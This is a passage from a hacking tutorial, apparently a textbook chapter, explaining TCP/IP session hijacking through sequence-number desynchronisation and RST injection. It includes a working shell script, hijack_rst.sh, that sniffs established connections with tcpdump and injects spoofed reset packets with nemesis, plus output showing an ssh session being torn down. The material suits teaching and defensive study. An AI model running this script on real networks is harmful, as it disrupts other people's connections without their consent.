Table of Contents
Previous Section Next Section

0x340 TCP/IP Hijacking

TCP/IP hijacking is a clever technique that uses spoofed packets to take over a connection between a victim and a host machine. The victim's connection hangs, and the attacker is able to communicate with the host machine as if the attacker were the victim. This technique is exceptionally useful when the victim uses a one-time password to connect to the host machine. A one-time password can be used to authenticate once, and only once, which means that sniffing the authentication is useless for the attacker. In this case, TCP/IP hijacking is an excellent means of attack.

As mentioned earlier in the chapter, during any TCP connection, each side maintains a sequence number. As packets are sent back and forth, the sequence number is incremented with each packet sent. Any packet that has an incorrect sequence number isn't passed up to the next layer by the receiving side. The packet is dropped if earlier sequence numbers are used, or it is stored for later reconstruction if later sequence numbers are used. If both sides have incorrect sequence numbers, any communications that are attempted by either side aren't passed up by the corresponding receiving side, even though the connection remains in the established state. This condition is called a desynchronized state, which causes the connection to hang.

To carry out a TCP/IP hijacking attack, the attacker must be on the same network as the victim. The host machine the victim is communicating with can be anywhere. The first step is for the attacker to use a sniffing technique to sniff the victim's connection, which allows the attacker to watch the sequence numbers of both the victim (system A in the following illustration) and the host machine (system B). Then the attacker sends a spoofed packet from the victim's IP address to the host machine, using the correct sequence number, as shown on the facing page.

The host machine receives the spoofed packet and, believing it came from the victim's machine, increments the sequence number and responds to the victim's IP. Because the victim's machine doesn't know about the spoofed packet, the host machine's response has an incorrect sequence number, so the victim ignores the response packet. And because the victim's machine ignored the host machine's response packet, the victim's sequence number count is off. Therefore any packet the victim tries to send to the host machine will have an incorrect sequence number as well, causing the host machine to ignore the packet.

Click To expand

The attacker has forced the victim's connection with the host machine into a desynchronized state. And because the attacker sent out the first spoofed packet that caused all this chaos, the attacker can keep track of sequence numbers and continue spoofing packets from the victim's IP address to the host machine. This lets the attacker continue communicating with the host machine while the victim's connection hangs.

0x341 RST Hijacking

A very simple form of TCP/IP hijacking involves injecting an authentic-looking reset (RST) packet. If the source is spoofed and the acknowledgment number is correct, the receiving side will believe that the source actually sent the reset packet and reset the connection.

This effect can be accomplished with tcpdump, awk, and a command-line packet-injection tool like nemesis. Tcpdump can be used to sniff for established connections by filtering for packets with the ACK flag turned on. This can be done with a packet filter that looks at the 13th octet of the TCP header. The flags are found in the order of URG, ACK, PSH, RST, SYN, and FIN, from left to right. This means that if the ACK flag is turned on, the 13th octet would be 00010000 in binary, which is 16 in decimal. If both SYN and ACK are turned on, the 13th octet would be 00010010 in binary, which is 18 in decimal.

In order to create a filter that matches when the ACK flag is turned on without caring about any of the other bits, the bitwise AND operator is used. ANDing 00010010 with 00010000 will produce 00010000, because the ACK bit is the only bit where both bits are 1. This means a filter of tcp[13] & 16 == 16 will match packets where the ACK flag is turned on, regardless of the state of the remaining flags.

# tcpdump -S -n -e -l "tcp[13] & 16 == 16"
tcpdump: listening on eth0
22:27:17.437439 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 98: 192.168.0.193.22 >
192.168.0.118.2816: P 1986373934:1986373978(44) ack 3776820979 win 6432 (DF) [tos
0x10]
22:27:17.447379 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 242: 192.168.0.193.22 >
192.168.0.118.2816: P 1986373978:1986374166(188) ack 3776820979 win 6432 (DF) [tos
0x10]

The -S flag tells tcpdump to print absolute sequence numbers, and -n prevents tcpdump from converting the addresses to names. Additionally, the -e flag is used to print the link-level header on each dump line, and -l buffers the output line so it can be piped into another tool, like awk.

Awk is a wonderful scripting tool that can be used to parse through the tcpdump output to extract the source and destination IP addresses, ports, and MAC addresses, as well as the acknowledgment and sequence numbers. The acknowledgment number in a packet outbound from a target will be the new expected sequence number for a response packet to that target. This information can be used to craft a spoofed RST packet with nemesis. This spoofed packet is then sent out, and all connections that are seen by tcpdump will be reset.

File: hijack_rst.sh

#!/bin/sh
tcpdump -S -n -e -l "tcp[13] & 16 == 16" | awk '{
# Output numbers as unsigned
  CONVFMT="%u";

# Seed the randomizer
  srand();

# Parse the tcpdump input for packet information
  dst_mac = $2;
  src_mac = $3;
  split($6, dst, ".");
  split($8, src, ".");
  src_ip = src[1]"."src[2]"."src[3]"."src[4];
  dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
  src_port = substr(src[5], 1, length(src[5])-1);
  dst_port = dst[5];

# Received ack number is the new seq number
  seq_num = $12;

# Feed all this information to nemesis
  exec_string = "nemesis tcp -v -fR -S "src_ip" -x "src_port" -H "src_mac" -D
"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num;

# Display some helpful debugging info.. input vs. output
  print "[in] "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12;
  print "[out] "exec_string;

# Inject the packet with nemesis
  system(exec_string);
}'

When this script is run, any established connection will be reset upon detection. In the following example, an ssh session between 192.168.0.193 and 192.168.0.118 is reset.

# ./hijack_rst.sh
tcpdump: listening on eth0
[in] 22:37:42.307362 0:c0:f0:79:3d:30 0:0:ad:d1:c7:ed 0800 74: 192.168.0.118.2819
> 192.168.0.193.22: P 3956893405:3956893425(20) ack 2752044079
[out] nemesis tcp -v -fR -S 192.168.0.193 -x 22 -H 0:0:ad:d1:c7:ed -D 192.168.0.118
-y 2819 -M 0:c0:f0:79:3d:30 -s 2752044079

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
     [Ethernet type] IP (0x0800)

                [IP] 192.168.0.193 > 192.168.0.118
             [IP ID] 22944
          [IP Proto] TCP (6)
            [IP TTL] 255
            [IP TOS] 00
    [IP Frag offset] 0000
     [IP Frag flags]

         [TCP Ports] 22 > 2819
         [TCP Flags] RST
[TCP Urgent Pointer] 0
   [TCP Window Size] 4096

Wrote 54 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected
[in] 22:37:42.317396 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 74: 192.168.0.193.22 >
192.168.0.118.2819: P 2752044079:2752044099(20) ack 3956893425
[out] nemesis tcp -v -fR -S 192.168.0.118 -x 2819 -H 0:c0:f0:79:3d:30 -D
192.168.0.193 -y 22 -M 0:0:ad:d1:c7:ed -s 3956893425

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:C0:F0:79:3D:30 > 00:00:AD:D1:C7:ED
     [Ethernet type] IP (0x0800)
                [IP] 192.168.0.118 > 192.168.0.193
             [IP ID] 25970
          [IP Proto] TCP (6)
            [IP TTL] 255
            [IP TOS] 00
    [IP Frag offset] 0000
     [IP Frag flags]

         [TCP Ports] 2819 > 22
         [TCP Flags] RST
[TCP Urgent Pointer] 0
   [TCP Window Size] 4096
Wrote 54 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected

Table of Contents
Previous Section Next Section